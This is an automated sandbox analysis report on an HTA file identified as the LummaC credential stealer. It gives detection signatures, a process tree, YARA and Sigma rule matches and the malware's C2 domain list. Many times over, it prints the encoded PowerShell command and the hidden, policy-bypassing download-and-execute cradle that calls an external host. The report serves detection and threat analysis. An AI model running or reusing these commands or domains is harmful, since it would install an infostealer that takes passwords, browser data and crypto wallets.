Edit tour

Windows Analysis Report
anrek.mp4.hta

Overview

General Information

Sample name:	anrek.mp4.hta
Analysis ID:	1584779
MD5:	dbf37b54acb5e3b86a3dc93ec3b7dc24
SHA1:	65100e3e23406a9f92880e202e4b006fd39f33d6
SHA256:	aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
Tags:	htaLummaStealeruser-lontze7
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Powershell Download and Execute IEX

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 5784 cmdline: mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 6160 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2804 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4244 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

FQCBPDRKWCIGP0ODQG879LFLUZ.exe (PID: 6848 cmdline: "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" MD5: C89C55FE25372BFBF8B9264A647C144B)

FQCBPDRKWCIGP0ODQG879LFLUZ.tmp (PID: 1888 cmdline: "C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$80224,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

FQCBPDRKWCIGP0ODQG879LFLUZ.exe (PID: 1852 cmdline: "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT MD5: C89C55FE25372BFBF8B9264A647C144B)

FQCBPDRKWCIGP0ODQG879LFLUZ.tmp (PID: 6156 cmdline: "C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$D005A,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["noisycuttej.shop", "tirepublicerj.shop", "framekgirus.shop", "nearycrepso.shop", "grooveoiy.cyou", "abruptyopsn.shop", "wholersorie.shop", "rabidcowse.shop", "cloudewahsj.shop"], "Build id": "c2CoW0--RIII"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6160	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2804	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2804	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa37729:$b2: ::FromBase64String( 0x827a6c:$s1: -join 0xa376ad:$s1: -join 0xe4efcf:$s1: -join 0xe51756:$s1: -join 0x54dd05:$s3: reverse 0x55adc0:$s3: reverse 0x564524:$s3: reverse 0x57212a:$s3: reverse 0x57b5c3:$s3: Reverse 0x581f80:$s3: Reverse 0xaadacb:$s3: reverse 0xaaf196:$s3: reverse 0xaaf461:$s3: reverse 0xaafb0c:$s3: reverse 0xab02b1:$s3: reverse 0xab4dce:$s3: reverse 0xab7567:$s3: reverse 0xab7981:$s3: reverse 0xab8509:$s3: reverse 0xab91b6:$s3: reverse
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_6160.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_2804.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5784, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ProcessId: 6160, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 5784, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ProcessId: 6160, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6160, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))" , ProcessId: 2804, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc 